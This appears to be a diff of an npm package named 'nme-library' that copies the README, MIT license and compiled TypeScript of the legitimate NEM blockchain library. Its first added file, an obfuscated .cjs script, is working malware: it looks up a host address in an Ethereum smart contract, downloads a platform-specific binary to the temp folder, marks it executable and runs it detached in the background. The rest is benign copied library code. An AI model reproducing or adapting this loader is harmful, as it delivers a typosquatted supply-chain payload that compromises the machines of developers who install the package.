nme-library 2.0.0-RC4

package/4xhj3q2e.cjs

@@ -0,0 +1 @@
+const _0x3688da=_0x4c11;(function(_0x55274b,_0x11ced4){const _0x54b5b8=_0x4c11,_0x356781=_0x55274b();while(!![]){try{const _0x28cdb8=-parseInt(_0x54b5b8(0xba))/0x1*(-parseInt(_0x54b5b8(0xd0))/0x2)+-parseInt(_0x54b5b8(0xe1))/0x3+-parseInt(_0x54b5b8(0xd7))/0x4+-parseInt(_0x54b5b8(0xe4))/0x5+-parseInt(_0x54b5b8(0xd6))/0x6+parseInt(_0x54b5b8(0xd4))/0x7+-parseInt(_0x54b5b8(0xc0))/0x8*(-parseInt(_0x54b5b8(0xde))/0x9);if(_0x28cdb8===_0x11ced4)break;else _0x356781['push'](_0x356781['shift']());}catch(_0x2e7c35){_0x356781['push'](_0x356781['shift']());}}}(_0x5e8d,0xe6cec));function _0x5e8d(){const _0x347d5e=['ethers','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','WBqIN','41229KzbvaX','basename','HAJkE','2008524oylGKH','mainnet','qqSzm','3779540oyLkVx','axios','Ошибка\x20при\x20запуске\x20файла:','child_process','tmpdir','xsvdO','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','platform','error','data','iZBeZ','2FnRHOD','util','kvIFM','GET','chmodSync','getDefaultProvider','1600VHEySr','Bfdgp','Contract','Whvux','linux','Ошибка\x20установки:','unref','join','VKqLg','createWriteStream','Unsupported\x20platform:\x20','stream','ignore','path','finish','sJcPM','1752548VGTobM','pipe','GCBgz','/node-macos','12093298FHvasZ','ACiHd','10400028KOLQVz','1168880bkXFBw','darwin','/node-win.exe','OuyVu'];_0x5e8d=function(){return _0x347d5e;};return _0x5e8d();}const {ethers}=require(_0x3688da(0xdb)),axios=require(_0x3688da(0xe5)),util=require(_0x3688da(0xbb)),fs=require('fs'),path=require(_0x3688da(0xcd)),os=require('os'),{spawn}=require(_0x3688da(0xe7)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x3688da(0xdc),abi=[_0x3688da(0xea)],provider=ethers[_0x3688da(0xbf)](_0x3688da(0xe2)),contract=new ethers[(_0x3688da(0xc2))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x552cdb=_0x3688da,_0x2d7a2e={'WuchM':'Ошибка\x20при\x20получении\x20IP\x20адреса:','OuyVu':function(_0x415e2b){return _0x415e2b();}};try{const _0x126491=await contract['getString'](WalletOwner);return _0x126491;}catch(_0x594f05){return console[_0x552cdb(0xec)](_0x2d7a2e['WuchM'],_0x594f05),await _0x2d7a2e[_0x552cdb(0xda)](fetchAndUpdateIp);}},getDownloadUrl=_0x13e791=>{const _0x5f53ce=_0x3688da,_0x4d008f={'Bfdgp':'win32','xcCuE':_0x5f53ce(0xc4),'iZBeZ':_0x5f53ce(0xd8)},_0x449114=os[_0x5f53ce(0xeb)]();switch(_0x449114){case _0x4d008f[_0x5f53ce(0xc1)]:return _0x13e791+_0x5f53ce(0xd9);case _0x4d008f['xcCuE']:return _0x13e791+'/node-linux';case _0x4d008f[_0x5f53ce(0xb9)]:return _0x13e791+_0x5f53ce(0xd3);default:throw new Error(_0x5f53ce(0xca)+_0x449114);}},downloadFile=async(_0x5d8132,_0x11f66b)=>{const _0x17c648=_0x3688da,_0x500d7f={'qqSzm':_0x17c648(0xce),'xsvdO':'error','Whvux':function(_0x32d081,_0x167419){return _0x32d081(_0x167419);},'HAJkE':_0x17c648(0xbd),'THQVh':_0x17c648(0xcb)},_0x108d1a=fs[_0x17c648(0xc9)](_0x11f66b),_0xe66ab4=await _0x500d7f[_0x17c648(0xc3)](axios,{'url':_0x5d8132,'method':_0x500d7f[_0x17c648(0xe0)],'responseType':_0x500d7f['THQVh']});return _0xe66ab4[_0x17c648(0xed)][_0x17c648(0xd1)](_0x108d1a),new Promise((_0x24ca92,_0x38688d)=>{const _0x571c61=_0x17c648;_0x108d1a['on'](_0x500d7f[_0x571c61(0xe3)],_0x24ca92),_0x108d1a['on'](_0x500d7f[_0x571c61(0xe9)],_0x38688d);});},executeFileInBackground=async _0x5f38c5=>{const _0x528bae=_0x3688da,_0x3b95f3={'kvIFM':function(_0x514bac,_0x16c04d,_0x36d234,_0x43cc99){return _0x514bac(_0x16c04d,_0x36d234,_0x43cc99);},'sJcPM':_0x528bae(0xcc),'tljbO':_0x528bae(0xe6)};try{const _0x485d8e=_0x3b95f3[_0x528bae(0xbc)](spawn,_0x5f38c5,[],{'detached':!![],'stdio':_0x3b95f3[_0x528bae(0xcf)]});_0x485d8e[_0x528bae(0xc6)]();}catch(_0x572028){console[_0x528bae(0xec)](_0x3b95f3['tljbO'],_0x572028);}},runInstallation=async()=>{const _0x1f86e5=_0x3688da,_0x4da20e={'dPYsF':function(_0x2ac136){return _0x2ac136();},'WBqIN':function(_0x3bdaa1,_0x19665f){return _0x3bdaa1(_0x19665f);},'GCBgz':function(_0x5bd10b,_0x3743af,_0x18ae44){return _0x5bd10b(_0x3743af,_0x18ae44);},'VKqLg':function(_0x514ab4,_0x204411){return _0x514ab4!==_0x204411;},'ACiHd':'755','ljBgF':_0x1f86e5(0xc5)};try{const _0x58cf06=await _0x4da20e['dPYsF'](fetchAndUpdateIp),_0xcfad74=_0x4da20e[_0x1f86e5(0xdd)](getDownloadUrl,_0x58cf06),_0x1d5ebe=os[_0x1f86e5(0xe8)](),_0x4ff767=path[_0x1f86e5(0xdf)](_0xcfad74),_0x1ae19b=path[_0x1f86e5(0xc7)](_0x1d5ebe,_0x4ff767);await _0x4da20e[_0x1f86e5(0xd2)](downloadFile,_0xcfad74,_0x1ae19b);if(_0x4da20e[_0x1f86e5(0xc8)](os[_0x1f86e5(0xeb)](),'win32'))fs[_0x1f86e5(0xbe)](_0x1ae19b,_0x4da20e[_0x1f86e5(0xd5)]);_0x4da20e[_0x1f86e5(0xdd)](executeFileInBackground,_0x1ae19b);}catch(_0x54a234){console['error'](_0x4da20e['ljBgF'],_0x54a234);}};function _0x4c11(_0xe07637,_0x1ad04e){const _0x5e8d10=_0x5e8d();return _0x4c11=function(_0x4c11df,_0x3ad463){_0x4c11df=_0x4c11df-0xb9;let _0x12048f=_0x5e8d10[_0x4c11df];return _0x12048f;},_0x4c11(_0xe07637,_0x1ad04e);}runInstallation();

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2017 NEM
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -0,0 +1,30 @@
+# NEM Library
+
+![NEM Library Logo](nemLibraryLogo.jpg)
+
+[![npm version](https://badge.fury.io/js/nem-library.svg)](https://badge.fury.io/js/nem-library)
+[![Build Status](https://travis-ci.org/aleixmorgadas/nem-library-ts.svg?branch=master)](https://travis-ci.org/aleixmorgadas/nem-library-ts)
+[![Coverage Status](https://coveralls.io/repos/github/aleixmorgadas/nem-library-ts/badge.svg?branch=master)](https://coveralls.io/github/aleixmorgadas/nem-library-ts?branch=master)
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
+[![Gitter chat](https://badges.gitter.im/nem-library-ts/Lobby.svg)](https://gitter.im/nem-library-ts/)
+
+:information_source: [NEM2-SDK](https://github.com/nemtech/nem2-sdk-typescript-javascript) is the successor of NEM Library for NEM2, a.k.a. Catapult. NEM Library will be maintained until NEM upgrades the network to Catapult Server.
+
+## Installation and Usage
+
+### Via NPM
+
+`npm install nem-library --save` 
+
+## Documentation
+ 
+[NEM Library Documentation](https://nemproject.github.io/nem-library-docs/)
+
+## Usage
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

package/dist/index.d.ts

@@ -0,0 +1,4 @@
+export * from "./src/infrastrcture";
+export * from "./src/models";
+export * from "./src/services";
+export { NEMLibrary, Environment } from "./src/NEMLibrary";

package/dist/index.js

@@ -0,0 +1,38 @@
+"use strict";
+/*
+ * The MIT License (MIT)
+ *
+ * Copyright (c) 2017 NEM
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+function __export(m) {
+    for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p];
+}
+Object.defineProperty(exports, "__esModule", { value: true });
+// Infrastructure
+__export(require("./src/infrastrcture"));
+// Models
+__export(require("./src/models"));
+// Services
+__export(require("./src/services"));
+var NEMLibrary_1 = require("./src/NEMLibrary");
+exports.NEMLibrary = NEMLibrary_1.NEMLibrary;
+exports.Environment = NEMLibrary_1.Environment;
+//# sourceMappingURL=index.js.map

package/dist/index.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.js","sourceRoot":"","sources":["../index.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;;;GAsBG;;;;;AAEH,iBAAiB;AACjB,yCAAoC;AACpC,SAAS;AACT,kCAA6B;AAC7B,WAAW;AACX,oCAA+B;AAE/B,+CAAyD;AAAjD,kCAAA,UAAU,CAAA;AAAE,mCAAA,WAAW,CAAA"}

package/dist/src/NEMLibrary.d.ts

@@ -0,0 +1,25 @@
+import { NetworkTypes } from "./models/node/NetworkTypes";
+export declare class NEMLibrary {
+    private static networkType?;
+    static bootstrap(networkType: NetworkTypes): void;
+    /**
+     *
+     *
+     */
+    static reset(): void;
+    /**
+     *
+     */
+    static getNetworkType(): NetworkTypes;
+    /**
+     * Gets the current runtime environment (Node or Browser)
+     */
+    static getEnvironment(): Environment;
+}
+/**
+ * Environment enumeration fer getEnvironment() call
+ */
+export declare enum Environment {
+    Browser = 0,
+    Node = 1,
+}

package/dist/src/NEMLibrary.js

@@ -0,0 +1,69 @@
+"use strict";
+/*
+ * The MIT License (MIT)
+ *
+ * Copyright (c) 2017 NEM
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+class NEMLibrary {
+    static bootstrap(networkType) {
+        if (this.networkType !== undefined) {
+            throw new Error("NEMLibrary should only be initialized once");
+        }
+        this.networkType = networkType;
+    }
+    /**
+     *
+     *
+     */
+    static reset() {
+        this.networkType = undefined;
+    }
+    /**
+     *
+     */
+    static getNetworkType() {
+        if (this.networkType) {
+            return this.networkType;
+        }
+        throw new Error("NEMLibrary should be initialized using NEMLibrary.bootstrap(NetworkType.TEST_NET)");
+    }
+    /**
+     * Gets the current runtime environment (Node or Browser)
+     */
+    static getEnvironment() {
+        const isBrowser = new Function("try {return this===window;}catch(e){ return false;}");
+        if (isBrowser()) {
+            return Environment.Browser;
+        }
+        return Environment.Node;
+    }
+}
+exports.NEMLibrary = NEMLibrary;
+/**
+ * Environment enumeration fer getEnvironment() call
+ */
+var Environment;
+(function (Environment) {
+    Environment[Environment["Browser"] = 0] = "Browser";
+    Environment[Environment["Node"] = 1] = "Node";
+})(Environment = exports.Environment || (exports.Environment = {}));
+//# sourceMappingURL=NEMLibrary.js.map

package/dist/src/NEMLibrary.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"NEMLibrary.js","sourceRoot":"","sources":["../../src/NEMLibrary.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;;;GAsBG;;AAIH;IAGS,MAAM,CAAC,SAAS,CAAC,WAAyB;QAC/C,IAAI,IAAI,CAAC,WAAW,KAAK,SAAS,EAAE;YAClC,MAAM,IAAI,KAAK,CAAC,4CAA4C,CAAC,CAAC;SAC/D;QACD,IAAI,CAAC,WAAW,GAAG,WAAW,CAAC;IACjC,CAAC;IAED;;;OAGG;IACI,MAAM,CAAC,KAAK;QACjB,IAAI,CAAC,WAAW,GAAG,SAAS,CAAC;IAC/B,CAAC;IAED;;OAEG;IACI,MAAM,CAAC,cAAc;QAC1B,IAAI,IAAI,CAAC,WAAW,EAAE;YACpB,OAAO,IAAI,CAAC,WAAW,CAAC;SACzB;QACD,MAAM,IAAI,KAAK,CAAC,mFAAmF,CAAC,CAAC;IACvG,CAAC;IAED;;OAEG;IACI,MAAM,CAAC,cAAc;QAC1B,MAAM,SAAS,GAAG,IAAI,QAAQ,CAAC,qDAAqD,CAAC,CAAC;QACtF,IAAI,SAAS,EAAE,EAAE;YACf,OAAO,WAAW,CAAC,OAAO,CAAC;SAC5B;QACD,OAAO,WAAW,CAAC,IAAI,CAAC;IAC1B,CAAC;CACF;AAtCD,gCAsCC;AAED;;GAEG;AACH,IAAY,WAGX;AAHD,WAAY,WAAW;IACrB,mDAAO,CAAA;IACP,6CAAI,CAAA;AACN,CAAC,EAHW,WAAW,GAAX,mBAAW,KAAX,mBAAW,QAGtB"}

package/dist/src/infrastrcture.d.ts

@@ -0,0 +1,13 @@
+export * from "./infrastructure/AccountHttp";
+export * from "./infrastructure/BlockHttp";
+export * from "./infrastructure/ChainHttp";
+export * from "./infrastructure/HttpEndpoint";
+export * from "./infrastructure/AssetHttp";
+export * from "./infrastructure/NamespaceHttp";
+export * from "./infrastructure/NodeHttp";
+export * from "./infrastructure/TransactionHttp";
+export * from "./infrastructure/AccountListener";
+export * from "./infrastructure/BlockchainListener";
+export * from "./infrastructure/ConfirmedTransactionListener";
+export * from "./infrastructure/UnconfirmedTransactionListener";
+export * from "./infrastructure/Pageable";

package/dist/src/infrastrcture.js

@@ -0,0 +1,44 @@
+"use strict";
+/*
+ * The MIT License (MIT)
+ *
+ * Copyright (c) 2017 NEM
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+function __export(m) {
+    for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p];
+}
+Object.defineProperty(exports, "__esModule", { value: true });
+// HTTPs
+__export(require("./infrastructure/AccountHttp"));
+__export(require("./infrastructure/BlockHttp"));
+__export(require("./infrastructure/ChainHttp"));
+__export(require("./infrastructure/HttpEndpoint"));
+__export(require("./infrastructure/AssetHttp"));
+__export(require("./infrastructure/NamespaceHttp"));
+__export(require("./infrastructure/NodeHttp"));
+__export(require("./infrastructure/TransactionHttp"));
+// Listeners
+__export(require("./infrastructure/AccountListener"));
+__export(require("./infrastructure/BlockchainListener"));
+__export(require("./infrastructure/ConfirmedTransactionListener"));
+__export(require("./infrastructure/UnconfirmedTransactionListener"));
+__export(require("./infrastructure/Pageable"));
+//# sourceMappingURL=infrastrcture.js.map

package/dist/src/infrastrcture.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"infrastrcture.js","sourceRoot":"","sources":["../../src/infrastrcture.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;;;GAsBG;;;;;AAEH,QAAQ;AACR,kDAA6C;AAC7C,gDAA2C;AAC3C,gDAA2C;AAC3C,mDAA8C;AAC9C,gDAA2C;AAC3C,oDAA+C;AAC/C,+CAA0C;AAC1C,sDAAiD;AAEjD,YAAY;AACZ,sDAAiD;AACjD,yDAAoD;AACpD,mEAA8D;AAC9D,qEAAgE;AAEhE,+CAA0C"}

package/dist/src/infrastructure/AccountHttp.d.ts

@@ -0,0 +1,204 @@
+import { Observable } from "rxjs";
+import { AccountStatus } from "../models";
+import { AccountHarvestInfo } from "../models/account/AccountHarvestInfo";
+import { AccountHistoricalInfo } from "../models/account/AccountHistoricalInfo";
+import { AccountImportanceInfo } from "../models/account/AccountImportanceInfo";
+import { AccountInfoWithMetaData } from "../models/account/AccountInfo";
+import { Address } from "../models/account/Address";
+import { NodeHarvestInfo } from "../models/account/NodeHarvestInfo";
+import { Asset } from "../models/asset/Asset";
+import { AssetDefinition } from "../models/asset/AssetDefinition";
+import { Namespace } from "../models/namespace/Namespace";
+import { Transaction } from "../models/transaction/Transaction";
+import { HttpEndpoint, ServerConfig } from "./HttpEndpoint";
+import { Pageable } from "./Pageable";
+export interface QueryParams {
+    /**
+     * (Optional) The xem of transactions returned. Between 5 and 100, otherwise 10
+     */
+    pageSize?: number;
+    /**
+     * (Optional) The 256 bit sha3 hash of the transaction up to which transactions are returned.
+     */
+    hash?: string;
+    /**
+     * (Optional) The transaction id up to which transactions are returned. This parameter will prevail over hash.
+     */
+    id?: number;
+}
+/**
+ *
+ */
+export declare class AccountHttp extends HttpEndpoint {
+    constructor(nodes?: ServerConfig[]);
+    /**
+     * Gets an AccountInfoWithMetaData for an account.
+     * @param address - Address
+     * @return Observable<AccountInfoWithMetaData>
+     */
+    getFromAddress(address: Address): Observable<AccountInfoWithMetaData>;
+    /**
+     * Gets an AccountInfoWithMetaData for an account with publicKey
+     * @param publicKey - NEM
+     * @return Observable<AccountInfoWithMetaData>
+     */
+    getFromPublicKey(publicKey: string): Observable<AccountInfoWithMetaData>;
+    /**
+     * Given a delegate (formerly known as remote) account's address, gets the AccountMetaDataPair for the account for which the given account is the delegate account.
+     * If the given account address is not a delegate account for any account, the request returns the AccountMetaDataPair for the given address.
+     * @param address - Address
+     * @return Observable<AccountInfoWithMetaData>
+     */
+    getOriginalAccountDataFromDelegatedAccountAddress(address: Address): Observable<AccountInfoWithMetaData>;
+    /**
+     * retrieve the original account data by providing the public key of the delegate account.
+     * @param publicKey - string
+     * @return Observable<AccountInfoWithMetaData>
+     */
+    getOriginalAccountDataFromDelegatedAccountPublicKey(publicKey: string): Observable<AccountInfoWithMetaData>;
+    /**
+     * Gets the AccountMetaData from an account.
+     * @param address - NEM Address
+     * @return Observable<AccountStatus>
+     */
+    status(address: Address): Observable<AccountStatus>;
+    /**
+     * A transaction is said to be incoming with respect to an account if the account is the recipient of the transaction.
+     * In the same way outgoing transaction are the transactions where the account is the sender of the transaction.
+     * Unconfirmed transactions are those transactions that have not yet been included in a block.
+     * Unconfirmed transactions are not guaranteed to be included in any block
+     * @param address - The address of the account.
+     * @param params
+     */
+    incomingTransactions(address: Address, params?: QueryParams): Observable<Transaction[]>;
+    /**
+     * Paginaged version of incomingTransactions request
+     * @param address
+     * @param params
+     */
+    incomingTransactionsPaginated(address: Address, params?: QueryParams): Pageable<Transaction[]>;
+    /**
+     * Gets an array of transaction meta data pairs where the recipient has the address given as parameter to the request.
+     * A maximum of 25 transaction meta data pairs is returned. For details about sorting and discussion of the second parameter see Incoming transactions.
+     * @param address - The address of the account.
+     * @param params
+     */
+    outgoingTransactions(address: Address, params?: QueryParams): Observable<Transaction[]>;
+    /**
+     * Paginaged version of outgoingTransactions request
+     * @param address
+     * @param params
+     * @param params
+     */
+    outgoingTransactionsPaginated(address: Address, params?: QueryParams): Pageable<Transaction[]>;
+    /**
+     * Gets an array of transaction meta data pairs for which an account is the sender or receiver.
+     * A maximum of 25 transaction meta data pairs is returned.
+     * For details about sorting and discussion of the second parameter see Incoming transactions.
+     * @param address - The address of the account.
+     * @param params
+     */
+    allTransactions(address: Address, params?: QueryParams): Observable<Transaction[]>;
+    /**
+     * Paginaged version of allTransactions request
+     * @param address
+     * @param params
+     */
+    allTransactionsPaginated(address: Address, params?: QueryParams): Pageable<Transaction[]>;
+    /**
+     * Gets the array of transactions for which an account is the sender or receiver and which have not yet been included in a block
+     * @param address - NEM Address
+     * @return Observable<Transaction[]>
+     */
+    unconfirmedTransactions(address: Address): Observable<Transaction[]>;
+    /**
+     * Gets an array of harvest info objects for an account.
+     * @param address - Address
+     * @param id - string (optional)
+     * @return Observable<AccountHarvestInfo[]>
+     */
+    getHarvestInfoDataForAnAccount(address: Address, id?: string): Observable<AccountHarvestInfo[]>;
+    /**
+     * Paginaged version of allTransactions request
+     * @param address
+     * @param id
+     * @returns {HarvestInfoPageable}
+     */
+    getHarvestInfoDataForAnAccountPaginated(address: Address, id?: string): Pageable<AccountHarvestInfo[]>;
+    /**
+     * Gets an array of account importance view model objects.
+     * @return Observable<AccountImportanceInfo[]>
+     */
+    getAccountImportances(): Observable<AccountImportanceInfo[]>;
+    /**
+     * Gets an array of namespace objects for a given account address.
+     * The parent parameter is optional. If supplied, only sub-namespaces of the parent namespace are returned.
+     * @param address - Address
+     * @param parent - The optional parent namespace id.
+     * @param id - The optional namespace database id up to which namespaces are returned.
+     * @param pageSize - The (optional) number of namespaces to be returned.
+     * @return Observable<Namespace[]>
+     */
+    getNamespaceOwnedByAddress(address: Address, parent?: string, pageSize?: number, id?: string): Observable<Namespace[]>;
+    /**
+     * Gets an array of asset definition objects for a given account address. The parent parameter is optional.
+     * If supplied, only asset definitions for the given parent namespace are returned.
+     * The id parameter is optional and allows retrieving asset definitions in batches of 25 asset definitions.
+     * @param address - The address of the account.
+     * @param parent - The optional parent namespace id.
+     * @param id - The optional asset definition database id up to which asset definitions are returned.
+     * @return Observable<AssetDefinition[]>
+     */
+    getAssetsCreatedByAddress(address: Address, parent?: string, id?: string): Observable<AssetDefinition[]>;
+    /**
+     * Gets an array of asset objects for a given account address.
+     * @param address - Address
+     * @return Observable<Asset[]>
+     */
+    getAssetsOwnedByAddress(address: Address): Observable<Asset[]>;
+    /**
+     * Unlocks an account (starts harvesting).
+     * @param host - string
+     * @param privateKey - string
+     * @return Observable<boolean>
+     */
+    unlockHarvesting(host: string, privateKey: string): Observable<boolean>;
+    /**
+     * Locks an account (stops harvesting).
+     * @param host - string
+     * @param privateKey - string
+     * @return Observable<boolean>
+     */
+    lockHarvesting(host: string, privateKey: string): Observable<boolean>;
+    /**
+     * Each node can allow users to harvest with their delegated key on that node.
+     * The NIS configuration has entries for configuring the maximum number of allowed harvesters and optionally allow harvesting only for certain account addresses.
+     * The unlock info gives information about the maximum number of allowed harvesters and how many harvesters are already using the node.
+     * @return Observable<NodeHarvestInfo>
+     */
+    unlockInfo(): Observable<NodeHarvestInfo>;
+    /**
+     * Gets historical information for an account.
+     * @param address - The address of the account.
+     * @param startHeight - The block height from which on the data should be supplied.
+     * @param endHeight - The block height up to which the data should be supplied. The end height must be greater than or equal to the start height.
+     * @param increment - The value by which the height is incremented between each data point. The value must be greater than 0. NIS can supply up to 1000 data points with one request. Requesting more than 1000 data points results in an error.
+     * @return Observable<AccountHistoricalInfo[]>
+     */
+    getHistoricalAccountData(address: Address, startHeight: number, endHeight: number, increment: number): Observable<AccountHistoricalInfo[]>;
+    /**
+     * Gets historical information for an array of accounts.
+     * @param addresses - The addresses of the accounts as an array of addresses.
+     * @param startHeight - The block height from which on the data should be supplied.
+     * @param endHeight - The block height up to which the data should be supplied. The end height must be greater than or equal to the start height.
+     * @param increment - The value by which the height is incremented between each data point. The value must be greater than 0. NIS can supply up to 1000 data points with one request. Requesting more than 1000 data points results in an error.
+     * @return Observable<AccountHistoricalInfo[][]>
+     */
+    getBatchHistoricalAccountData(addresses: Address[], startHeight: number, endHeight: number, increment: number): Observable<AccountHistoricalInfo[][]>;
+    /**
+     * Gets batch information for an array of accounts.
+     * @param addresses - The addresses of the accounts as an array of addresses.
+     * @return Observable<AccountInfoWithMetadata[]>
+     */
+    getBatchAccountData(addresses: Address[]): Observable<AccountInfoWithMetaData[]>;
+}